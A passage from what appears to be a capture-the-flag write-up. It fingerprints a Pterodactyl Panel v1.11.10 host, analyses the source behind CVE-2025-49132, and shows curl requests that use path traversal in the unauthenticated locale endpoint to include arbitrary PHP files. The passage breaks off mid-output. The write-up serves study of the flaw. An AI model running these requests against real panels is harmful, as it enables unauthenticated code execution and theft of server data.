<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>MonitorLand - CHANGELOG.txt
======================================

Version 1.20.X

[Added] Main Website Deployment
--------------------------------
- Deployed the primary landing site for MonitorLand.
- Implemented homepage, and link for Minecraft server.
- Integrated site styling and dark-mode as primary.

[Linked] Subdomain Configuration
--------------------------------
- Added DNS and reverse proxy routing for play.pterodactyl.htb.
- Configured NGINX virtual host for subdomain forwarding.

[Installed] Pterodactyl Panel v1.11.10
--------------------------------------
- Installed Pterodactyl Panel.
- Configured environment:
  - PHP with required extensions.
  - MariaDB 11.8.3 backend.

[Enhanced] PHP Capabilities
-------------------------------------
- Enabled PHP-FPM for smoother website handling on all domains.
- Enabled PHP-PEAR for PHP package management.
- Added temporary PHP debugging via phpinfo()
</code></pre></div></div>

<h4 id="tech-stack">Tech Stack</h4>

<p>The HTTP response headers show Nginx and PHP:</p>

<div class="language-http highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">HTTP</span><span class="o">/</span><span class="m">1.1</span> <span class="m">200</span> <span class="ne">OK</span>
<span class="na">Server</span><span class="p">:</span> <span class="s">nginx/1.21.5</span>
<span class="na">Date</span><span class="p">:</span> <span class="s">Sun, 10 May 2026 17:37:03 GMT</span>
<span class="na">Content-Type</span><span class="p">:</span> <span class="s">text/html; charset=UTF-8</span>
<span class="na">Connection</span><span class="p">:</span> <span class="s">keep-alive</span>
<span class="na">X-Powered-By</span><span class="p">:</span> <span class="s">PHP/8.4.8</span>
<span class="na">Content-Length</span><span class="p">:</span> <span class="s">1686</span>
</code></pre></div></div>

<p>The site version is 1.20.X (whatever that means).</p>

<p>The changelog gives a bunch of information about the site, including the fact that PHP-FPM (FastCGI Process Manager, commonly paired with Nginx) and PHP-PEAR (PHP Extension and Application Repository, a package manager for PHP libraries) are installed, as well as that the DB is MariaDB version 11.8.3.</p>

<p>The main site loads as <code class="language-plaintext highlighter-rouge">/index.php</code>. The 404 page is the <a href="/cheatsheets/404#nginx">default nginx 404</a>:</p>

<picture>
    <source type="image/webp" srcset="https://pub-4caceed5c57c4466b559b0834d2806c9.r2.dev/img/image-20260510134630897.webp" />
    <img loading="lazy" src="https://pub-4caceed5c57c4466b559b0834d2806c9.r2.dev/img/image-20260510134630897.png" alt="image-20260510134630897" class="include_image " />
</picture>

<h4 id="directory-brute-force">Directory Brute Force</h4>

<p>I’ll run <code class="language-plaintext highlighter-rouge">feroxbuster</code> against the site, and include <code class="language-plaintext highlighter-rouge">-x php</code> since I know the site is PHP:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">oxdf@hacky$</span><span class="w"> </span>feroxbuster <span class="nt">-u</span> http://pterodactyl.htb <span class="nt">-x</span> php
<span class="go">                                                                                                                                       
 ___  ___  __   __     __      __         __   ___
|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__
|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓                 ver: 2.11.0
───────────────────────────┬──────────────────────
 🎯  Target Url            │ http://pterodactyl.htb
 🚀  Threads               │ 50
 📖  Wordlist              │ /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt
 👌  Status Codes          │ All Status Codes!
 💥  Timeout (secs)        │ 7
 🦡  User-Agent            │ feroxbuster/2.11.0
 🔎  Extract Links         │ true
 💲  Extensions            │ [php]
 🏁  HTTP methods          │ [GET]
 🔃  Recursion Depth       │ 4
 🎉  New Version Available │ https://github.com/epi052/feroxbuster/releases/latest
───────────────────────────┴──────────────────────
 🏁  Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
</span><span class="feroxbuster-red">404</span><span class="go">      GET        7l       11w      153c </span><span class="feroxbuster-green">Auto-filtering </span><span class="go">found </span><span class="feroxbuster-red">404</span><span class="go">-like response and created new filter; toggle off with </span><span class="feroxbuster-yellow">--dont-filter</span><span class="go">
</span><span class="feroxbuster-red">403</span><span class="go">      GET        7l        9w      153c </span><span class="feroxbuster-green">Auto-filtering </span><span class="go">found </span><span class="feroxbuster-red">404</span><span class="go">-like response and created new filter; toggle off with </span><span class="feroxbuster-yellow">--dont-filter</span><span class="go">
</span><span class="feroxbuster-red">404</span><span class="go">      GET        1l        3w       16c </span><span class="feroxbuster-green">Auto-filtering </span><span class="go">found </span><span class="feroxbuster-red">404</span><span class="go">-like response and created new filter; toggle off with </span><span class="feroxbuster-yellow">--dont-filter</span><span class="go">
</span><span class="feroxbuster-green">200</span><span class="go">      GET       92l      186w     1696c http://pterodactyl.htb/global.css
</span><span class="feroxbuster-green">200</span><span class="go">      GET       28l      105w      920c http://pterodactyl.htb/changelog.txt
</span><span class="feroxbuster-green">200</span><span class="go">      GET       54l      123w     1686c http://pterodactyl.htb/index.php
</span><span class="feroxbuster-yellow">301</span><span class="go">      GET        7l       11w      169c http://pterodactyl.htb/Public =&gt; </span><span class="feroxbuster-yellow">http://pterodactyl.htb/Public/</span><span class="go">
</span><span class="feroxbuster-green">200</span><span class="go">      GET     9854l    93838w  4648650c http://pterodactyl.htb/Public/Header.png
</span><span class="feroxbuster-green">200</span><span class="go">      GET       54l      123w     1686c http://pterodactyl.htb/
</span><span class="feroxbuster-green">200</span><span class="go">      GET      828l     4394w    73000c http://pterodactyl.htb/phpinfo.php
[</span><span class="feroxbuster-yellow">####################</span><span class="go">] - 56s    60008/60008   0s      </span><span class="feroxbuster-green">found</span><span class="go">:7       </span><span class="feroxbuster-red">errors</span><span class="go">:2      
[</span><span class="feroxbuster-cyan">####################</span><span class="go">] - 54s    30000/30000   550/s   http://pterodactyl.htb/ 
[</span><span class="feroxbuster-cyan">####################</span><span class="go">] - 54s    30000/30000   551/s   http://pterodactyl.htb/Public/   
</span></code></pre></div></div>

<p>The only interesting thing is the <code class="language-plaintext highlighter-rouge">phpinfo.php</code> page (which was alluded to in the <code class="language-plaintext highlighter-rouge">changelog.txt</code>). This page leaks the full PHP configuration:</p>

<picture>
    <source type="image/webp" srcset="https://pub-4caceed5c57c4466b559b0834d2806c9.r2.dev/img/image-20260510135028779.webp" />
    <img loading="lazy" src="https://pub-4caceed5c57c4466b559b0834d2806c9.r2.dev/img/image-20260510135028779.png" alt="image-20260510135028779" class="include_image " />
</picture>

<h3 id="panelpterodactylhtb---tcp-80">panel.pterodactyl.htb - TCP 80</h3>

<h4 id="site-1">Site</h4>

<p>This site is an instance of <a href="https://pterodactyl.io/">Pterodactyl Panel</a>:</p>

<picture>
    <source type="image/webp" srcset="https://pub-4caceed5c57c4466b559b0834d2806c9.r2.dev/img/image-20260510134933446.webp" />
    <img loading="lazy" src="https://pub-4caceed5c57c4466b559b0834d2806c9.r2.dev/img/image-20260510134933446.png" alt="image-20260510134933446" class="include_image " />
</picture>

<h4 id="tech-stack-1">Tech Stack</h4>

<p><a href="https://pterodactyl.io/">Pterodactyl</a> describes itself as:</p>

<blockquote>
  <p>a free, open-source game server management panel built with PHP, React, and Go. Designed with security in mind, Pterodactyl runs all game servers in isolated Docker containers while exposing a beautiful and intuitive UI to end users.</p>
</blockquote>

<p>The HTTP response headers show Nginx and PHP:</p>

<div class="language-http highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">HTTP</span><span class="o">/</span><span class="m">1.1</span> <span class="m">200</span> <span class="ne">OK</span>
<span class="na">Server</span><span class="p">:</span> <span class="s">nginx/1.21.5</span>
<span class="na">Content-Type</span><span class="p">:</span> <span class="s">text/html; charset=UTF-8</span>
<span class="na">Connection</span><span class="p">:</span> <span class="s">keep-alive</span>
<span class="na">X-Powered-By</span><span class="p">:</span> <span class="s">PHP/8.4.8</span>
<span class="na">Cache-Control</span><span class="p">:</span> <span class="s">no-cache, private</span>
<span class="na">Date</span><span class="p">:</span> <span class="s">Sun, 10 May 2026 17:42:05 GMT</span>
<span class="na">Set-Cookie</span><span class="p">:</span> <span class="s">XSRF-TOKEN=eyJpdiI6Inh0N1dQV3oxZzZocWR4N0dTaFQ0MHc9PSIsInZhbHVlIjoicEltVlZLc1pPYUlzdWtsREpHeExhTWVySEQ2MTVvbWVHSWdtZ3F2Zi8wRXhteTBqeW5rVm5aQ2ZSWU9BdkszdkxJU1ZLMEt0cHdSSUVaU0pSV2duZ1BRR1BPNDVYR0hiZldwS3RBa0hjNWxkRTUzbCtXd1BLeHVGaG43M1ZGcDYiLCJtYWMiOiJjNGQ4YmE1ODM3MTYxZGE2N2IxNzY5ZGFkNTU2MDFlZDBlOWJmMWYxYzM4OTNjY2Y3OTI1MzlhYjU2OTU5NGNiIiwidGFnIjoiIn0%3D; expires=Mon, 11 May 2026 05:42:05 GMT; Max-Age=43200; path=/; samesite=lax</span>
<span class="na">Set-Cookie</span><span class="p">:</span> <span class="s">pterodactyl_session=eyJpdiI6InJ2Zkl4Nk5oZkJOdkhRTG1BSTFXQUE9PSIsInZhbHVlIjoiblRJNnlwZzNEd1FPNEd5MkMvOStlMHgveFFPN2p1d2pOL3Z1RjcyeXIyM2JtWGxUVEt1cThldERESWpYN0d1U2RST1piWlh4OEFhb1FmWk44eWxoUXBua0hseHZCZnIxVEt0UjJBNElmc2pNSVorNVA2d2dxTHB3eHhYQkI5RDkiLCJtYWMiOiJjNDliNzIyMGQ5ZTcyYjQ3NzYyNmM2OTE1NmFhNzViZGMyMmU3NGY0ZTY4M2Y3MDg5ZTIzY2VhOWE0MzQzM2YyIiwidGFnIjoiIn0%3D; expires=Mon, 11 May 2026 05:42:05 GMT; Max-Age=43200; path=/; httponly; samesite=lax</span>
<span class="na">Content-Length</span><span class="p">:</span> <span class="s">1897</span>
</code></pre></div></div>

<p>Two cookies are also set. Whenever I see a <code class="language-plaintext highlighter-rouge">XSRF-TOKEN</code> and <code class="language-plaintext highlighter-rouge">&lt;something&gt;_session</code>, I think Laravel. Looking at the <a href="https://github.com/pterodactyl/panel">source for Pterodactyl Panel</a> I’ll see that confirmed:</p>

<picture>
    <source type="image/webp" srcset="https://pub-4caceed5c57c4466b559b0834d2806c9.r2.dev/img/image-20260510135359472.webp" />
    <img loading="lazy" src="https://pub-4caceed5c57c4466b559b0834d2806c9.r2.dev/img/image-20260510135359472.png" alt="image-20260510135359472" class="include_image " />
</picture>

<p>The 404 page just redirects to <code class="language-plaintext highlighter-rouge">/</code>. I’ll skip the brute force as it’s open source software.</p>

<p>The <code class="language-plaintext highlighter-rouge">changelog.txt</code> file did say this was <code class="language-plaintext highlighter-rouge">Panel v1.11.10</code>. Claude also identified this version using the JavaScript bundle:</p>

<picture>
    <source type="image/webp" srcset="https://pub-4caceed5c57c4466b559b0834d2806c9.r2.dev/img/image-20260514105223077.webp" />
    <img loading="lazy" src="https://pub-4caceed5c57c4466b559b0834d2806c9.r2.dev/img/image-20260514105223077.png" alt="image-20260514105223077" class="include_image " />
</picture>

<h2 id="shell-as-wwwrun">Shell as wwwrun</h2>

<h3 id="cve-2025-49132">CVE-2025-49132</h3>

<h4 id="identify">Identify</h4>

<p>Searching for vulnerabilities in this version of Pterodactyl Panel shows a lot of references to CVE-2025-49132:</p>

<picture>
    <source type="image/webp" srcset="https://pub-4caceed5c57c4466b559b0834d2806c9.r2.dev/img/image-20260510155927758.webp" />
    <img loading="lazy" src="https://pub-4caceed5c57c4466b559b0834d2806c9.r2.dev/img/image-20260510155927758.png" alt="image-20260510155927758" class="include_image " />
</picture>

<h4 id="background">Background</h4>

<p><a href="https://nvd.nist.gov/vuln/detail/cve-2025-49132">CVE-2025-49132</a> is described by NVD as:</p>

<blockquote>
  <p>Pterodactyl is a free, open-source game server management panel. Prior to version 1.11.11, using the /locales/locale.json with the locale and namespace query parameters, a malicious actor is able to execute arbitrary code without being authenticated. With the ability to execute arbitrary code it could be used to gain access to the Panel’s server, read credentials from the Panel’s config, extract sensitive information from the database, access files of servers managed by the panel, etc. This issue has been patched in version 1.11.11. There are no software workarounds for this vulnerability, but use of an external Web Application Firewall (WAF) could help mitigate this attack.</p>
</blockquote>

<p>If I check the release for version 1.11.11, it has one item:</p>

<picture>
    <source type="image/webp" srcset="https://pub-4caceed5c57c4466b559b0834d2806c9.r2.dev/img/image-20260510160242323.webp" />
    <img loading="lazy" src="https://pub-4caceed5c57c4466b559b0834d2806c9.r2.dev/img/image-20260510160242323.png" alt="image-20260510160242323" class="include_image " />
</picture>

<p>The NVD page links to <a href="https://github.com/pterodactyl/panel/commit/24c82b0e335fb5d7a844226b08abf9f176e592f0">this commit</a> for fixing it. The diff is interesting:</p>

<picture>
    <source type="image/webp" srcset="https://pub-4caceed5c57c4466b559b0834d2806c9.r2.dev/img/image-20260510160353190.webp" />
    <img loading="lazy" src="https://pub-4caceed5c57c4466b559b0834d2806c9.r2.dev/img/image-20260510160353190.png" alt="image-20260510160353190" class="include_image " />
</picture>

<p>Instead of just getting unsanitized data from the <code class="language-plaintext highlighter-rouge">Request</code> object, it creates a <code class="language-plaintext highlighter-rouge">LocaleRequest</code> object, which is also defined in this commit:</p>

<div class="language-php highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp">&lt;?php</span>

<span class="kn">namespace</span> <span class="nn">Pterodactyl\Http\Requests\Base</span><span class="p">;</span>

<span class="kn">use</span> <span class="nc">Illuminate\Foundation\Http\FormRequest</span><span class="p">;</span>

<span class="kd">class</span> <span class="nc">LocaleRequest</span> <span class="kd">extends</span> <span class="nc">FormRequest</span>
<span class="p">{</span>
    <span class="k">public</span> <span class="k">function</span> <span class="n">rules</span><span class="p">():</span> <span class="kt">array</span>
    <span class="p">{</span>
        <span class="k">return</span> <span class="p">[</span>
            <span class="s1">'locale'</span> <span class="o">=&gt;</span> <span class="p">[</span><span class="s1">'required'</span><span class="p">,</span> <span class="s1">'string'</span><span class="p">,</span> <span class="s1">'regex:/^[a-z][a-z]$/'</span><span class="p">],</span>
            <span class="s1">'namespace'</span> <span class="o">=&gt;</span> <span class="p">[</span><span class="s1">'required'</span><span class="p">,</span> <span class="s1">'string'</span><span class="p">,</span> <span class="s1">'regex:/^[a-z]{1,191}$/'</span><span class="p">],</span>
        <span class="p">];</span>
    <span class="p">}</span>
<span class="p">}</span>
</code></pre></div></div>

<p>Now it filters the <code class="language-plaintext highlighter-rouge">locale</code> to be exactly two lowercase characters, and the <code class="language-plaintext highlighter-rouge">namespace</code> to be between 1 and 191 lowercase characters.</p>

<h4 id="vulnerable-code">Vulnerable Code</h4>

<p>To see what the bug actually looks like in the running version, I’ll walk through the three pieces in the <a href="https://github.com/pterodactyl/panel/tree/v1.11.10">v1.11.10 tag</a>.</p>

<p>First, <code class="language-plaintext highlighter-rouge">routes/base.php</code> (<a href="https://github.com/pterodactyl/panel/blob/v1.11.10/routes/base.php#L12-L14">source</a>) defines three routes:</p>

<div class="language-php highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp">&lt;?php</span>

<span class="kn">use</span> <span class="nc">Illuminate\Support\Facades\Route</span><span class="p">;</span>
<span class="kn">use</span> <span class="nc">Pterodactyl\Http\Controllers\Base</span><span class="p">;</span>
<span class="kn">use</span> <span class="nc">Pterodactyl\Http\Middleware\RequireTwoFactorAuthentication</span><span class="p">;</span>

<span class="nc">Route</span><span class="o">::</span><span class="nf">get</span><span class="p">(</span><span class="s1">'/'</span><span class="p">,</span> <span class="p">[</span><span class="nc">Base\IndexController</span><span class="o">::</span><span class="n">class</span><span class="p">,</span> <span class="s1">'index'</span><span class="p">])</span><span class="o">-&gt;</span><span class="nf">name</span><span class="p">(</span><span class="s1">'index'</span><span class="p">)</span><span class="o">-&gt;</span><span class="nf">fallback</span><span class="p">();</span>
<span class="nc">Route</span><span class="o">::</span><span class="nf">get</span><span class="p">(</span><span class="s1">'/account'</span><span class="p">,</span> <span class="p">[</span><span class="nc">Base\IndexController</span><span class="o">::</span><span class="n">class</span><span class="p">,</span> <span class="s1">'index'</span><span class="p">])</span>
    <span class="o">-&gt;</span><span class="nf">withoutMiddleware</span><span class="p">(</span><span class="nc">RequireTwoFactorAuthentication</span><span class="o">::</span><span class="n">class</span><span class="p">)</span>
    <span class="o">-&gt;</span><span class="nf">name</span><span class="p">(</span><span class="s1">'account'</span><span class="p">);</span>

<span class="nc">Route</span><span class="o">::</span><span class="nf">get</span><span class="p">(</span><span class="s1">'/locales/locale.json'</span><span class="p">,</span> <span class="nc">Base\LocaleController</span><span class="o">::</span><span class="n">class</span><span class="p">)</span>
    <span class="o">-&gt;</span><span class="nf">withoutMiddleware</span><span class="p">([</span><span class="s1">'auth'</span><span class="p">,</span> <span class="nc">RequireTwoFactorAuthentication</span><span class="o">::</span><span class="n">class</span><span class="p">])</span>
    <span class="o">-&gt;</span><span class="nf">where</span><span class="p">(</span><span class="s1">'namespace'</span><span class="p">,</span> <span class="s1">'.*'</span><span class="p">);</span>

<span class="nc">Route</span><span class="o">::</span><span class="nf">get</span><span class="p">(</span><span class="s1">'/{react}'</span><span class="p">,</span> <span class="p">[</span><span class="nc">Base\IndexController</span><span class="o">::</span><span class="n">class</span><span class="p">,</span> <span class="s1">'index'</span><span class="p">])</span>
    <span class="o">-&gt;</span><span class="nf">where</span><span class="p">(</span><span class="s1">'react'</span><span class="p">,</span> <span class="s1">'^(?!(\/)?(api|auth|admin|daemon)).+'</span><span class="p">);</span>
</code></pre></div></div>

<p>The interesting one here is <code class="language-plaintext highlighter-rouge">/locales/locale.json</code>, which has two important modifiers:</p>

<ul>
  <li><code class="language-plaintext highlighter-rouge">withoutMiddleware(['auth', RequireTwoFactorAuthentication::class])</code> exposes this endpoint pre-auth.</li>
  <li><code class="language-plaintext highlighter-rouge">where('namespace', '.*')</code> explicitly tells Laravel that the <code class="language-plaintext highlighter-rouge">namespace</code> route parameter may contain any characters.</li>
</ul>

<p>The controller in <code class="language-plaintext highlighter-rouge">app/Http/Controllers/Base/LocaleController.php</code> (<a href="https://github.com/pterodactyl/panel/blob/v1.11.10/app/Http/Controllers/Base/LocaleController.php#L23-L36">source</a>) defines the route:</p>

<div class="language-php highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">public</span> <span class="k">function</span> <span class="n">__invoke</span><span class="p">(</span><span class="kt">Request</span> <span class="nv">$request</span><span class="p">):</span> <span class="kt">JsonResponse</span>
<span class="p">{</span>
    <span class="nv">$locales</span> <span class="o">=</span> <span class="nb">explode</span><span class="p">(</span><span class="s1">' '</span><span class="p">,</span> <span class="nv">$request</span><span class="o">-&gt;</span><span class="nf">input</span><span class="p">(</span><span class="s1">'locale'</span><span class="p">)</span> <span class="o">??</span> <span class="s1">''</span><span class="p">);</span>
    <span class="nv">$namespaces</span> <span class="o">=</span> <span class="nb">explode</span><span class="p">(</span><span class="s1">' '</span><span class="p">,</span> <span class="nv">$request</span><span class="o">-&gt;</span><span class="nf">input</span><span class="p">(</span><span class="s1">'namespace'</span><span class="p">)</span> <span class="o">??</span> <span class="s1">''</span><span class="p">);</span>

    <span class="nv">$response</span> <span class="o">=</span> <span class="p">[];</span>
    <span class="k">foreach</span> <span class="p">(</span><span class="nv">$locales</span> <span class="k">as</span> <span class="nv">$locale</span><span class="p">)</span> <span class="p">{</span>
        <span class="nv">$response</span><span class="p">[</span><span class="nv">$locale</span><span class="p">]</span> <span class="o">=</span> <span class="p">[];</span>
        <span class="k">foreach</span> <span class="p">(</span><span class="nv">$namespaces</span> <span class="k">as</span> <span class="nv">$namespace</span><span class="p">)</span> <span class="p">{</span>
            <span class="nv">$response</span><span class="p">[</span><span class="nv">$locale</span><span class="p">][</span><span class="nv">$namespace</span><span class="p">]</span> <span class="o">=</span> <span class="nv">$this</span><span class="o">-&gt;</span><span class="nf">i18n</span><span class="p">(</span>
                <span class="nv">$this</span><span class="o">-&gt;</span><span class="n">loader</span><span class="o">-&gt;</span><span class="nf">load</span><span class="p">(</span><span class="nv">$locale</span><span class="p">,</span> <span class="nb">str_replace</span><span class="p">(</span><span class="s1">'.'</span><span class="p">,</span> <span class="s1">'/'</span><span class="p">,</span> <span class="nv">$namespace</span><span class="p">))</span>
            <span class="p">);</span>
        <span class="p">}</span>
    <span class="p">}</span>
    <span class="mf">...</span>
<span class="p">}</span>
</code></pre></div></div>

<p>Both <code class="language-plaintext highlighter-rouge">locale</code> and <code class="language-plaintext highlighter-rouge">namespace</code> come straight off the query string with no validation, and are handed to <code class="language-plaintext highlighter-rouge">$this-&gt;loader-&gt;load()</code>.</p>

<p><code class="language-plaintext highlighter-rouge">$this-&gt;loader</code> is Laravel’s <code class="language-plaintext highlighter-rouge">Illuminate\Translation\FileLoader</code>. <code class="language-plaintext highlighter-rouge">load()</code> passes through to <code class="language-plaintext highlighter-rouge">loadPath()</code> in <a href="https://github.com/laravel/framework/blob/v9.52.20/src/Illuminate/Translation/FileLoader.php#L120-L127"><code class="language-plaintext highlighter-rouge">FileLoader.php</code> lines 120–127</a>, where the two parameters from <code class="language-plaintext highlighter-rouge">load</code> are passed as <code class="language-plaintext highlighter-rouge">$locale</code> and <code class="language-plaintext highlighter-rouge">$group</code>:</p>

<div class="language-php highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">protected</span> <span class="k">function</span> <span class="n">loadPath</span><span class="p">(</span><span class="nv">$path</span><span class="p">,</span> <span class="nv">$locale</span><span class="p">,</span> <span class="nv">$group</span><span class="p">)</span>
<span class="p">{</span>
    <span class="k">if</span> <span class="p">(</span><span class="nv">$this</span><span class="o">-&gt;</span><span class="n">files</span><span class="o">-&gt;</span><span class="nf">exists</span><span class="p">(</span><span class="nv">$full</span> <span class="o">=</span> <span class="s2">"</span><span class="si">{</span><span class="nv">$path</span><span class="si">}</span><span class="s2">/</span><span class="si">{</span><span class="nv">$locale</span><span class="si">}</span><span class="s2">/</span><span class="si">{</span><span class="nv">$group</span><span class="si">}</span><span class="s2">.php"</span><span class="p">))</span> <span class="p">{</span>
        <span class="k">return</span> <span class="nv">$this</span><span class="o">-&gt;</span><span class="n">files</span><span class="o">-&gt;</span><span class="nf">getRequire</span><span class="p">(</span><span class="nv">$full</span><span class="p">);</span>
    <span class="p">}</span>

    <span class="k">return</span> <span class="p">[];</span>
<span class="p">}</span>
</code></pre></div></div>

<p><code class="language-plaintext highlighter-rouge">getRequire()</code> does a literal <code class="language-plaintext highlighter-rouge">require</code> on the path, so any PHP file on disk that the path resolves to gets executed. Because <code class="language-plaintext highlighter-rouge">$locale</code> and <code class="language-plaintext highlighter-rouge">$group</code> (our <code class="language-plaintext highlighter-rouge">namespace</code>) are completely attacker-controlled, <code class="language-plaintext highlighter-rouge">..</code> traversal in <code class="language-plaintext highlighter-rouge">locale</code> plus a path in <code class="language-plaintext highlighter-rouge">namespace</code> lets us pick any <code class="language-plaintext highlighter-rouge">.php</code> file on the box and have PHP <code class="language-plaintext highlighter-rouge">require</code> it.</p>

<h4 id="directory-traversal">Directory Traversal</h4>

<p>Given what I’ve seen above, I control <code class="language-plaintext highlighter-rouge">locale</code> and <code class="language-plaintext highlighter-rouge">namespace</code> in the resulting URL:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>/&lt;legit path&gt;/&lt;local&gt;/&lt;namespace&gt;.php
</code></pre></div></div>

<p>This means I can include PHP files, but I can’t read files like <code class="language-plaintext highlighter-rouge">/etc/passwd</code> because <code class="language-plaintext highlighter-rouge">.php</code> would be appended to the end. I can’t use a PHP filter because there’s a bunch of stuff prepended to the front of my input.</p>

<p>I could try to calculate the number of <code class="language-plaintext highlighter-rouge">../</code> necessary to get back to the root, but I’ll just experiment. I see there’s an <code class="language-plaintext highlighter-rouge">index.php</code> in the <code class="language-plaintext highlighter-rouge">public</code> folder at the root of the source repo. I’ll find it:</p>

<div class="language-console code-collapse highlighter-rouge" data-trunc="300"><div class="highlight"><pre class="highlight"><code><span class="gp">oxdf@hacky$</span><span class="w"> </span>curl <span class="s1">'http://panel.pterodactyl.htb/locales/locale.json?locale=public&amp;namespace=index'</span>
<span class="go">{"public":{"index":[]}}
</span><span class="gp">oxdf@hacky$</span><span class="w"> </span>curl <span class="s1">'http://panel.pterodactyl.htb/locales/locale.json?locale=../public&amp;namespace=index'</span>
<span class="go">{"..\/public":{"index":[]}}
</span><span class="gp">oxdf@hacky$</span><span class="w"> </span>curl <span class="s1">'http://panel.pterodactyl.htb/locales/locale.json?locale=../../public&amp;namespace=index'</span>
<span class="go">&lt;!DOCTYPE html&gt;
&lt;html lang="en"&gt;
    &lt;head&gt;
        &lt;meta charset="utf-8"&gt;
        &lt;meta name="viewport" content="width=device-width, initial-scale=1"&gt;

        &lt;title&gt;Server Error&lt;/title&gt;

        &lt;style&gt;
            /*! normalize.css v8.0.1 | MIT License | github.com/necolas/normalize.css */html{line-height:1.15;-webkit-text-size-adjust:100%}body{margin:0}a{background-color:transparent}code{font-family:monospace,monospace;font-size:1em}[hidden]{display:none}html{font-family:system-ui,-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Helvetica Neue,Arial,Noto Sans,sans-serif,Apple Color Emoji,Segoe UI Emoji,Segoe UI Symbol,Noto Color Emoji;line-height:1.5}*,:after,:before{box-sizing:border-box;border:0 solid #e2e8f0}a{color:inherit;text-decoration:inherit}code{font-family:Menlo,Monaco,Consolas,Liberation Mono,Courier New,monospace}svg,video{display:block;vertical-align:middle}video{max-width:100%;height:auto}.bg-white{--bg-opacity:1;background-color:#fff;background-color:rgba(255,255,255,var(--bg-opacity))}.bg-gray-100{--bg-opacity:1;background-color:#f7fafc;background-color:rgba(247,250,252,var(--bg-opacity))}.border-gray-200{--border-opacity:1;border-color:#edf2f7;border-color:rgba(237,242,247,var(--border-opacity))}.border-gray-400{--border-opacity:1;border-color:#cbd5e0;border-color:rgba(203,213,224,var(--border-opacity))}.border-t{border-top-width:1px}.border-r{border-right-width:1px}.flex{display:flex}.grid{display:grid}.hidden{display:none}.items-center{align-items:center}.justify-center{justify-content:center}.font-semibold{font-weight:600}.h-5{height:1.25rem}.h-8{height:2rem}.h-16{height:4rem}.text-sm{font-size:.875rem}.text-lg{font-size:1.125rem}.leading-7{line-height:1.75rem}.mx-auto{margin-left:auto;margin-right:auto}.ml-1{margin-left:.25rem}.mt-2{margin-top:.5rem}.mr-2{margin-right:.5rem}.ml-2{margin-left:.5rem}.mt-4{margin-top:1rem}.ml-4{margin-left:1rem}.mt-8{margin-top:2rem}.ml-12{margin-left:3rem}.-mt-px{margin-top:-1px}.max-w-xl{max-width:36rem}.max-w-6xl{max-width:72rem}.min-h-screen{min-height:100vh}.overflow-hidden{overflow:hidden}.p-6{padding:1.5rem}.py-4{padding-top:1rem;padding-bottom:1rem}.px-4{padding-left:1rem;padding-right:1rem}.px-6{padding-left:1.5rem;padding-right:1.5rem}.pt-8{padding-top:2rem}.fixed{position:fixed}.relative{position:relative}.top-0{top:0}.right-0{right:0}.shadow{box-shadow:0 1px 3px 0 rgba(0,0,0,.1),0 1px 2px 0 rgba(0,0,0,.06)}.text-center{text-align:center}.text-gray-200{--text-opacity:1;color:#edf2f7;color:rgba(237,242,247,var(--text-opacity))}.text-gray-300{--text-opacity:1;color:#e2e8f0;color:rgba(226,232,240,var(--text-opacity))}.text-gray-400{--text-opacity:1;color:#cbd5e0;color:rgba(203,213,224,var(--text-opacity))}.text-gray-500{--text-opacity:1;color:#a0aec0;color:rgba(160,174,192,var(--text-opacity))}.text-gray-600{--text-opacity:1;color:#718096;color:rgba(113,128,150,var(--text-opacity))}.text-gray-700{--text-opacity:1;color:#4a5568;color:rgba(74,85,104,var(--text-opacity))}.text-gray-900{--text-opacity:1;color:#1a202c;color:rgba(26,32,44,var(--text-opacity))}.uppercase{text-transform:uppercase}.underline{text-decoration:underline}.antialiased{-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale}.tracking-wider{letter-spacing:.05em}.w-5{width:1.25rem}.w-8{width:2rem}.w-auto{width:auto}.grid-cols-1{grid-template-columns:repeat(1,minmax(0,1fr))}@-webkit-keyframes spin{0%{transform:rotate(0deg)}to{transform:rotate(1turn)}}@keyframes spin{0%{transform:rotate(0deg)}to{transform:rotate(1turn)}}@-webkit-keyframes ping{0%{transform:scale(1);opacity:1}75%,to{transform:scale(2);opacity:0}}@keyframes ping{0%{transform:scale(1);opacity:1}75%,to{transform:scale(2);opacity:0}}@-webkit-keyframes pulse{0%,to{opacity:1}50%{opacity:.5}}@keyframes pulse{0%,to{opacity:1}50%{opacity:.5}}@-webkit-keyframes bounce{0%,to{transform:translateY(-25%);-webkit-animation-timing-function:cubic-bezier(.8,0,1,1);animation-timing-function:cubic-bezier(.8,0,1,1)}50%{transform:translateY(0);-webkit-animation-timing-function:cubic-bezier(0,0,.2,1);animation-timing-function:cubic-bezier(0,0,.2,1)}}@keyframes bounce{0%,to{transform:translateY(-25%);-webkit-animation-timing-function:cubic-bezier(.8,0,1,1);animation-timing-function:cubic-bezier(.8,0,1,1)}50%{transform:translateY(0);-webkit-animation-timing-function:cubic-bezier(0,0,.2,1);animation-timing-function:cubic-bezier(0,0,.2,1)}}@media (min-width:640px){.sm\:rounded-lg{border-radius:.5rem}.sm\:block{display:block}.sm\:items-center{align-items:center}.sm\:justify-start{justify-content:flex-start}.sm\:justify-between{justify-content:space-between}.sm\:h-20{height:5rem}.sm\:ml-0{margin-left:0}.sm\:px-6{padding-left:1.5rem;padding-right:1.5rem}.sm\:pt-0{padding-top:0}.sm\:text-left{text-align:left}.sm\:text-right{text-align:right}}@media (min-width:768px){.md\:border-t-0{border-top-width:0}.md\:border-l{border-left-width:1px}.md\:grid-cols-2{grid-template-columns:repeat(2,minmax(0,1fr))}}@media (min-width:1024px){.lg\:px-8{padding-left:2rem;padding-right:2rem}}@media 